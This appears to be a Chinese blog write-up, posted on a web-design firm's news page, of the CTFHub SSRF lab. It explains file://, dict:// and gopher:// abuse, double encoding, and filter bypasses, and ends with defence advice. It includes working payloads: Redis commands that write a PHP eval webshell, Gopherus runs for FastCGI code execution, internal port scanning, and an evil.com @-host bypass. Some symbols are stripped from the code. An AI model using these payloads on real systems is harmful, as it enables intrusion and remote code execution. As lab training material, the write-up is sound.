十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

SSRF漏洞实战:从协议利用到内网渗透的完整攻击链解析

SSRF漏洞实战:从协议利用到内网渗透的完整攻击链解析 1. 项目概述从靶场实战到SSRF攻击原理的深度剖析最近在CTFHub的SSRF靶场里泡了几天把里面的关卡从头到尾刷了一遍。SSRF也就是服务器端请求伪造这个漏洞在实战中太常见了从内网探测到打穿整个内网威力巨大。CTFHub这个靶场设计得挺有意思从最基础的本地文件读取到利用各种协议进行端口扫描、POST请求伪造再到利用Redis、FastCGI这些协议进行更深层次的攻击最后还有各种花式绕过过滤的技巧。这不仅仅是一个解题过程更像是一个完整的SSRF攻击链实战演练。如果你对Web安全感兴趣或者正在准备CTF比赛这个靶场绝对值得你花时间深入研究。它能帮你把SSRF那些零散的知识点比如file://、gopher://、dict://这些协议怎么用以及如何绕过常见的IP、域名过滤都串成一条线形成一套完整的攻击思路。接下来我就结合自己的解题过程把每个关卡的核心原理、实操步骤以及我踩过的那些坑都详细拆解一遍。2. SSRF攻击的核心原理与靶场设计思路2.1 什么是SSRF为什么它如此危险SSRF全称Server-Side Request Forgery翻译过来就是服务器端请求伪造。简单来说就是攻击者能够诱使服务器应用程序向攻击者指定的内部或外部资源发起HTTP请求。这听起来可能平平无奇但其危险性在于攻击者可以借助服务器的“身份”和网络位置去访问那些原本无法直接接触的资源。想象一下这个场景一个Web应用提供了一个“网页快照”功能你输入一个URL它就去抓取那个网页的截图然后展示给你。如果这个功能没有对用户输入的URL做严格的校验和过滤攻击者就可以输入http://127.0.0.1:8080/admin这样的地址。服务器就会傻乎乎地去请求自己的内网管理后台并把响应内容可能是管理页面、甚至是敏感数据返回给攻击者。这就是一个最典型的SSRF。它的危险主要体现在几个方面攻击内网服务这是SSRF最核心的威力。互联网上的服务器通常无法直接访问公司或云环境的内网但应用服务器本身就在内网里。通过SSRF攻击者可以像“内鬼”一样扫描内网端口、探测内网服务如Redis、MySQL、Memcached等甚至直接攻击这些服务。本地文件读取利用file://协议攻击者可以读取服务器本地的敏感文件比如/etc/passwd、应用源码、配置文件等。协议滥用除了HTTP/HTTPS服务器可能还支持其他协议如gopher://、dict://、ftp://等。这些协议功能强大可以用来构造更复杂的攻击载荷例如直接与数据库、缓存服务进行交互。绕过认证与防火墙请求是从受信任的服务器内部发起的因此可能会绕过某些基于客户端IP的访问控制或防火墙规则。CTFHub的SSRF靶场正是围绕这些危险点设计的它模拟了一个存在SSRF漏洞的Web应用并设置了层层关卡让你逐步掌握利用SSRF进行内网渗透的完整技能树。2.2 CTFHub SSRF靶场结构解析这个靶场不是简单的一两个漏洞点而是一个渐进式的学习路径。它大致可以分为四个阶段基础利用阶段学习最直接的SSRF利用方式比如访问127.0.0.1内网访问、使用file://协议读取文件。这是建立对SSRF最直观认识的环节。协议扩展与端口扫描阶段引入dict://和gopher://协议。dict://常用于端口扫描和服务指纹识别因为它能返回简单的连接状态信息。gopher://则是一个“万能”协议可以封装成任何基于TCP的协议流量是后续高级攻击的基础。协议攻击深化阶段这是靶场的核心难点。利用gopher://协议构造特殊的TCP数据流去攻击内网中特定的服务协议。靶场主要涉及两个攻击Redis利用Redis未授权访问漏洞通过构造Redis协议命令实现写入Webshell、执行命令等操作。攻击FastCGIPHP-FPM默认监听在9000端口通过构造FastCGI协议数据包可以实现远程代码执行。这通常用于攻击PHP环境。绕过技巧阶段模拟真实环境中开发者会设置的各种过滤规则如黑名单关键字127、localhost、172.等并教你如何利用URL解析特性、DNS重绑定等技术绕过这些限制。这个结构非常科学它迫使你不仅要会用工具生成Payload更要理解每个协议的数据包格式、编码方式以及服务器处理请求的底层逻辑。下面我们就进入实战环节。注意在进行任何安全测试包括CTF时务必确保环境是授权的。切勿对非授权目标进行SSRF或其他漏洞测试这是违法行为。3. 核心细节解析与实操要点3.1 关键协议详解与利用手法SSRF的威力很大程度上取决于服务器支持哪些URL Scheme协议。CTFHub靶场几乎涵盖了所有常见的危险协议。1.file://协议 - 本地文件读取器这是最简单的协议。它的格式是file://文件绝对路径。当服务器支持此协议时攻击者可以读取服务器上的任意文件。Payload示例file:///etc/passwd或file:///var/www/html/flag.php利用场景直接读取Flag、查看应用源码寻找其他漏洞、读取配置文件获取数据库密码等敏感信息。实操要点注意路径格式。在Linux下是file:///三个斜杠在Windows下可能是file:///C:/windows/system.ini。读取PHP文件时file://协议通常不会执行PHP代码而是直接返回文件源码这对于审计代码非常有用。2.dict://协议 - 简易端口扫描器dict协议原本用于查询字典服务器。它会在建立连接后发送一条指令并立即关闭连接。我们可以利用这个特性来探测端口是否开放以及服务Banner。Payload示例dict://127.0.0.1:6379/info工作原理向目标IP的指定端口发起一个TCP连接如果端口开放连接建立dict客户端会发送info命令或其他任意命令然后服务端的响应或错误信息会返回给我们。如果端口关闭连接会直接失败。利用场景快速内网端口扫描识别常见的服务端口如Redis(6379)、MySQL(3306)、SSH(22)等。结合Burp Suite的Intruder模块可以自动化进行端口爆破。实操心得dict扫描比HTTP扫描更隐蔽且能获取到一些服务的原始Banner信息。但它的反馈信息比较有限通常只能判断“开”或“关”以及获取少量初始信息。3.gopher://协议 - SSRF的“瑞士军刀”gopher协议是一个古老的协议但它可以封装任意的TCP数据流。这意味着我们可以用它来发送任何基于TCP的协议数据包如HTTP POST、Redis命令、FastCGI请求、SMTP命令等。这是SSRF攻击中最强大、最灵活的工具。基本格式gopher://host:port/_TCP数据流host:port目标服务器和端口。_下划线这是一个可选的字符后面跟着的才是真正的数据。有些实现需要它。TCP数据流需要发送的原始TCP数据。这里的数据必须经过URL编码特别是换行符\r\n需要编码成%0D%0A。构造难点手动构造gopher数据包非常繁琐需要你精确知道目标协议的原始数据包格式。例如构造一个HTTP POST请求你需要手动拼接HTTP头、计算Content-Length、处理表单边界等。利用场景一切需要发送特定协议数据包到内网服务的场景。在CTFHub靶场中它被用于构造POST请求、上传文件、攻击Redis和FastCGI。3.2 编码与数据包构造从原理到脚本手工构造gopher的Payload极易出错尤其是涉及到多层URL编码时。理解编码过程和自动化工具的使用至关重要。为什么需要编码URL编码Percent-encodinggopher://协议本身是URL的一部分。URL中有些字符有特殊含义比如:、/、?、、空格等。为了在URL中传输这些字符需要将它们转换为%XX的形式XX是字符的ASCII码十六进制。例如空格变成%20换行符\nASCII 10变成%0A。Gopher协议的特殊要求gopher协议在读取数据流时以换行符\n作为一条指令的结束。但在TCP数据包中行结束符通常是\r\n回车换行。为了确保gopher客户端能正确识别并发送\r\n我们需要将\r\n整体进行URL编码即变成%0D%0A。双重编码在某些靶场或实际场景中应用程序可能会对用户输入进行一次URL解码。为了确保最终发送到gopher客户端的数据是正确的我们有时需要对已经编码过一次的Payload再进行一次完整的URL编码。这就是“双重编码”。以CTFHub“POST请求”关卡为例解析构造流程该关卡要求我们通过SSRF让服务器向本地的flag.php发送一个POST请求并提交正确的key。第一步分析目标。我们先通过file://协议读取flag.php源码发现它检查$_POST[“key”]是否等于一个由$flag生成的MD5值并且页面上有一个Debug信息直接打印了$key。第二步构造原始HTTP POST包。我们需要模拟浏览器发送一个POST请求。POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 36 空行 key008cde4f767bfa89e29a23e27296cfda注意HTTP协议要求头部结束后必须有一个空行\r\n然后才是正文。Content-Length必须精确等于正文的字节数这里是key...的长度。第三步转换为Gopher数据流。将上面的整个请求包括最后的空行视为一个字符串将其中的每个换行符\n替换为\r\n因为原始数据包通常按\n分隔写但网络传输需要\r\n。raw_request POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key008cde4f767bfa89e29a23e27296cfda # 将 \n 替换为 \r\n tcp_stream raw_request.replace(‘\n‘, ‘\r\n‘)第四步进行URL编码。对tcp_stream字符串进行URL编码将\r\n编码为%0D%0A空格编码为%20等。import urllib.parse first_encode urllib.parse.quote(tcp_stream) # 此时 first_encode 中%0A 代表原始的 \n已被我们替换成 \r\n 并编码但我们需要的是 %0D%0A。 # 实际上因为我们将 \n 替换成了 \r\nquote() 函数会分别将 \r 和 \n 编码为 %0D 和 %0A。 # 但有些靶场或库的处理方式不同可能需要显式处理。第五步处理靶场特殊要求双重编码。CTFHub这个关卡中应用程序会对我们输入的URL先解码一次。所以我们需要把上一步编码的结果再整体编码一次。final_payload ‘gopher://127.0.0.1:80/_‘ urllib.parse.quote(first_encode)最终得到的final_payload就是一长串百分号开头的字符串将其提交即可。自动化工具推荐 手动做太痛苦了强烈推荐使用工具。Gopherus这是一个专门为SSRF生成攻击各种服务如Redis、MySQL、FastCGI、SMTP等的gopherpayload的工具。它简化了协议构造过程。# 安装 git clone https://github.com/tarunkant/Gopherus.git cd Gopherus chmod x gopherus.py # 使用示例生成攻击Redis的payload ./gopherus.py --exploit redis脚本对于HTTP请求可以编写像上面示例的Python脚本进行灵活构造。对于Redis、FastCGI建议先用Gopherus生成基础payload再根据实际情况调整。4. 实操过程与核心环节实现4.1 关卡实战从内网访问到Redis攻击我们挑几个有代表性的关卡走一遍完整的利用流程。关卡一内网访问这是最简单的热身。题目通常有一个输入框让你提交一个URL服务器会去请求它并返回内容。目标访问服务器本地的flag.php。Payloadhttp://127.0.0.1/flag.php或http://localhost/flag.php结果直接返回Flag。这一步的目的是确认SSRF漏洞存在并且服务器可以访问回环地址。关卡二伪协议读取文件目标读取服务器上的/var/www/html/flag.php文件内容。Payloadfile:///var/www/html/flag.php结果返回flag.php的源代码。注意因为是file://协议PHP代码不会被解析执行而是以文本形式显示。你需要从源码中找到Flag可能是一个变量也可能是页面输出的一部分。关卡三端口扫描目标探测内网开放了哪些端口。工具Burp Suite Intruder。步骤将请求发送到Burp的Intruder模块。在dict://127.0.0.1:§PORT§/info的PORT位置设置Payload标记。Payload类型选择Numbers设置范围如1-10000和步长。发起攻击。通过观察响应长度、状态码或返回内容如OK、-ERR等判断端口是否开放及可能服务。例如端口6379返回-NOAUTH Authentication required.基本可以确定是Redis服务。关卡七Redis协议攻击重难点这个关卡模拟了一个内网存在未授权访问的Redis服务我们需要通过SSRF利用gopher协议发送Redis命令写入一个Webshell。前置知识Redis未授权访问。Redis默认绑定在0.0.0.0:6379且无密码时任何能连接到该端口的客户端都可以执行命令。攻击思路利用Redis的config set命令修改持久化文件路径和文件名然后通过set命令写入恶意代码最后save或bgsave将内存数据持久化到文件从而在Web目录下生成一个PHP Webshell。Redis命令序列flushall # 清空所有数据非必须但有时可避免干扰 set shell “?php eval($_POST[‘cmd‘]);?” # 将一个键值对的值设为PHP代码 config set dir /var/www/html # 修改Redis持久化文件存储目录为Web目录 config set dbfilename shell.php # 修改持久化文件名为shell.php save # 执行保存将内存数据写入文件。生成 /var/www/html/shell.php构造Gopher Payload手动构造理解原理需要将上述Redis命令转换为Redis协议格式。Redis使用RESP协议。例如命令set shell “?php eval($_POST[‘cmd‘]);?”的RESP数组格式是*3\r\n$3\r\nset\r\n$5\r\nshell\r\n$31\r\n?php eval($_POST[‘cmd‘]);?\r\n。你需要将所有命令拼接起来。使用Gopherus工具推荐./gopherus.py --exploit redis # 交互式输入 # What do you want? (ReverseShell/PHPShell): PHPShell # Path to store shell? (默认是/var/www/html): /var/www/html # 工具会生成一个gopher://...的payload。双重编码将Gopherus生成的payload已经是URL编码过的整体再进行一次URL编码然后提交。实操踩坑路径问题Web目录不一定是/var/www/html可能是/var/www、/home/www等需要结合信息收集或尝试常见路径。权限问题Redis进程可能没有向Web目录写入文件的权限。如果save失败可以尝试写其他有权限的目录或者利用Redis主从复制等高级利用方式。文件内容生成的shell.php文件内容除了我们的PHP代码还包含Redis数据库的格式头REDIS...这可能导致PHP无法正常解析。解决办法是使用config set dbfilename和save写入一个全新的文件或者使用flushall后只写入一个键值对使文件内容尽可能干净。也可以尝试写入.htaccess文件等替代方案。4.2 利用FastCGI协议进行RCE这是另一个高阶关卡。FastCGIPHP-FPM是PHP的一个进程管理器通常监听在9000端口。如果我们可以通过SSRF向这个端口发送构造好的FastCGI协议数据包就有可能执行任意PHP代码。攻击原理我们伪造一个FastCGI请求设置环境变量PHP_VALUE或PHP_ADMIN_VALUE将auto_prepend_file或allow_url_include等危险配置注入到PHP进程中从而执行代码。更直接的方式是构造一个请求让PHP-FPM执行我们指定的PHP代码。利用工具同样使用Gopherus。./gopherus.py --exploit fastcgi # 交互式输入 # 目标服务器和端口例如: 127.0.0.1:9000 # 要执行的PHP命令例如: system(‘id‘);工具背后做了什么Gopherus内部构造了一个符合FastCGI协议规范的二进制数据包。这个数据包设置了必要的环境变量如SCRIPT_FILENAME通常指向一个已存在的PHP文件如/var/www/html/index.php、PHP_VALUE等并将我们要执行的PHP代码作为请求体发送。PHP-FPM在处理这个请求时会解析我们注入的配置或代码并执行。关键点SCRIPT_FILENAME必须指向服务器上一个真实存在的PHP文件否则PHP-FPM会直接返回File not found.错误。这个文件是代码执行的“载体”。实操步骤通过SSRF或信息泄露找到一个Web目录下的真实PHP文件路径例如/var/www/html/index.php。使用Gopherus输入目标127.0.0.1:9000和这个路径以及要执行的命令如system(‘cat /flag‘);。将生成的payload进行双重URL编码后提交。如果成功服务器响应中会包含命令执行的结果。5. 常见问题与排查技巧实录在实战和打靶过程中会遇到各种各样的问题。这里总结一些常见的“坑”和排查思路。5.1 Payload构造与编码问题问题1Payload提交后毫无反应或者返回奇怪的错误。可能原因1编码问题。这是最常见的问题。gopher协议对数据格式非常敏感。检查点确保换行符是\r\n即%0D%0A而不仅仅是\n%0A。在Python中使用urllib.parse.quote()时它默认不会对\n进行编码除非指定safe‘‘参数所以最好先手动将\n替换为\r\n再编码。检查点确认是否需要双重编码。观察靶场或目标应用的处理逻辑。一个简单的测试方法是先提交一个简单的http://127.0.0.1看是否正常再提交一个经过一次编码的http%3A%2F%2F127.0.0.1看服务器是直接请求解码后的URL还是对解码后的内容再次作为URL处理。CTFHub的很多关卡都需要双重编码。可能原因2数据包格式错误。特别是HTTP和Redis协议格式要求严格。检查点HTTP请求头结束后是否有两个\r\n即一个空行Content-Length计算是否正确Redis的RESP协议格式是否正确每个参数的长度$length\r\n是否匹配使用nc或socat在本地模拟服务端监听然后发送你构造的原始数据包看服务端能否正确解析。可能原因3目标服务未响应或连接超时。检查点先用dict://协议扫描一下目标端口是否真的开放。确认IP和端口是否正确。内网服务可能不稳定。问题2Redis写入Webshell成功但访问不到或无法执行。可能原因1文件权限或SELinux。Redis写入的文件属主和权限可能有问题或者SELinux阻止了Web服务器执行该文件。排查尝试写入一个纯文本文件set test “hello“看是否能访问。如果可以说明是PHP代码或解析问题。如果不行可能是权限问题。可能原因2文件内容包含Redis头。如前所述Redis的dump文件有特定格式。排查直接访问shell.php查看网页源代码。如果看到REDIS开头的二进制字符说明文件不纯。可以尝试在写入前flushall只写入一个键或者尝试写入.user.ini等利用方式。可能原因3Web目录路径错误。排查尝试用config set dir /tmp写入到/tmp目录看是否能成功以验证Redis写功能是否正常。5.2 绕过过滤技巧总结CTFHub的后几个关卡专门训练绕过技巧这在WAFWeb应用防火墙日益普及的今天非常实用。1. URL解析特性绕过利用符号在URL中用于分隔认证信息。http://username:passwordhostname/path。许多过滤正则只检查://到第一个/之间的主机部分。我们可以利用这一点http://evil.com127.0.0.1/flag.php。有些解析库会认为主机是evil.com而实际请求的却是127.0.0.1。但注意现代浏览器和库的安全策略可能会阻止这种请求不过服务器端的curl、file_get_contents等函数可能仍会解析到127.0.0.1。利用#符号#是片段标识符。http://127.0.0.1#.evil.com/flag.php有些粗糙的过滤可能会截取#之前的内容作为主机但实际请求时#及之后的部分会被丢弃最终请求127.0.0.1。2. IP地址表示法绕过进制转换IP地址本质是一个32位整数。127.0.0.1可以表示为十进制2130706433八进制017700000001注意在URL中以0开头的数字可能被解析为八进制但并非所有库都支持十六进制0x7f000001点分十六进制/混合进制127.0x0.0x0.1、127.0.0.0x1等。CTFHub Payloadhttp://2130706433/flag.php特殊域名localhost直接等价于127.0.0.1。0.0.0.0、0在某些环境下0会解析为0.0.0.0而服务器请求0.0.0.0时可能会指向自己。127.127.127.127、127.0.1等都是回环地址的变种。3. DNS重绑定攻击这是绕过IP黑名单的高级技巧。其核心是利用DNS解析的时间差。原理攻击者控制一个域名例如evil.attacker.com并设置其DNS记录的TTL生存时间非常短如0。该域名首先被解析为一个合法的、不在黑名单中的外部IP如1.2.3.4。服务器应用程序第一次对该域名进行DNS解析得到IP1.2.3.4通过黑名单检查。服务器发起HTTP请求。在请求过程中或之后攻击者迅速修改DNS记录将evil.attacker.com解析到目标内网IP如127.0.0.1。由于TTL极短服务器的DNS解析器可能会很快刷新缓存使用新的IP地址。如果服务器在建立TCP连接或后续请求时使用了新的IP地址那么请求最终就到达了127.0.0.1从而绕过了初始的IP检查。利用工具需要自己搭建DNS服务器或者使用一些在线的DNS重绑定服务但这类服务不稳定且可能有法律风险CTF中通常提供现成的域名。4. 302/重定向绕过原理如果应用程序只对初次请求的URL进行过滤而对重定向后的目标不做检查就可以利用。方法找到一个存在开放重定向漏洞的第三方网站或者自己搭建一个例如http://redirect.com/?urlhttp://127.0.0.1。向存在SSRF的应用程序提交http://redirect.com/?urlhttp://127.0.0.1。服务器检查redirect.com不在黑名单内允许请求。服务器请求redirect.com该网站返回302状态码Location头指向http://127.0.0.1。服务器的HTTP客户端如curlwith-Lfollow redirect自动跟随重定向请求了127.0.0.1攻击成功。CTF中的简化有时靶场为了简化会直接使用像xip.io这样的服务127.0.0.1.xip.io解析到127.0.0.1但需要注意这类服务的可用性。5.3 防御SSRF的思考作为开发者了解攻击手段才能更好地防御。防御SSRF是一个多层次的工作输入校验与白名单对用户输入的URL进行严格校验。最佳实践是使用白名单只允许访问少数几个已知安全的域名或IP。如果业务必须允许任意URL则必须进行严格的过滤。解析与过滤统一解析器使用统一的URL解析库如url.parsein Node.js,urllib.parsein Python获取hostname而不是自己用正则切割。黑名单过滤禁止访问内网IP段127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16以及链路本地、组播地址等、回环地址、localhost、0.0.0.0等。注意过滤各种进制和特殊表示法。协议限制只允许http://和https://禁用file://、gopher://、dict://、ftp://等危险协议。网络层控制出站防火墙限制服务器只能向特定的外部IP和端口发起连接。这是非常有效的一层防护。使用中间代理让所有出站请求都经过一个安全的代理服务器代理服务器实施更严格的访问控制。响应处理不要将远程请求的原始响应直接返回给用户。对返回的内容类型、大小做限制并考虑进行消毒处理。认证与权限确保内网服务本身有强认证机制即使被SSRF攻击到也不至于造成严重破坏。打完CTFHub的整个SSRF靶场感觉就像完成了一次从侦察到突破的内网渗透演练。最大的收获不是记住了那几个Payload而是理解了数据是如何在网络中流动、协议是如何被构造和解析的。尤其是手动构造gopher包和调试编码问题的过程虽然痛苦但对理解SSRF的本质帮助巨大。在实际的渗透测试中情况会比靶场复杂得多可能会遇到各种WAF、奇怪的解析库、网络配置问题。这时候对原理的深入理解、灵活的绕过思维以及耐心的调试能力就显得比单纯会使用工具更重要了。建议大家在掌握基础后可以尝试在授权的演练环境中针对一个简单的SSRF点尝试结合端口扫描、服务识别、漏洞利用做一次完整的内网横向移动那才是真正把SSRF玩明白了。
返回列表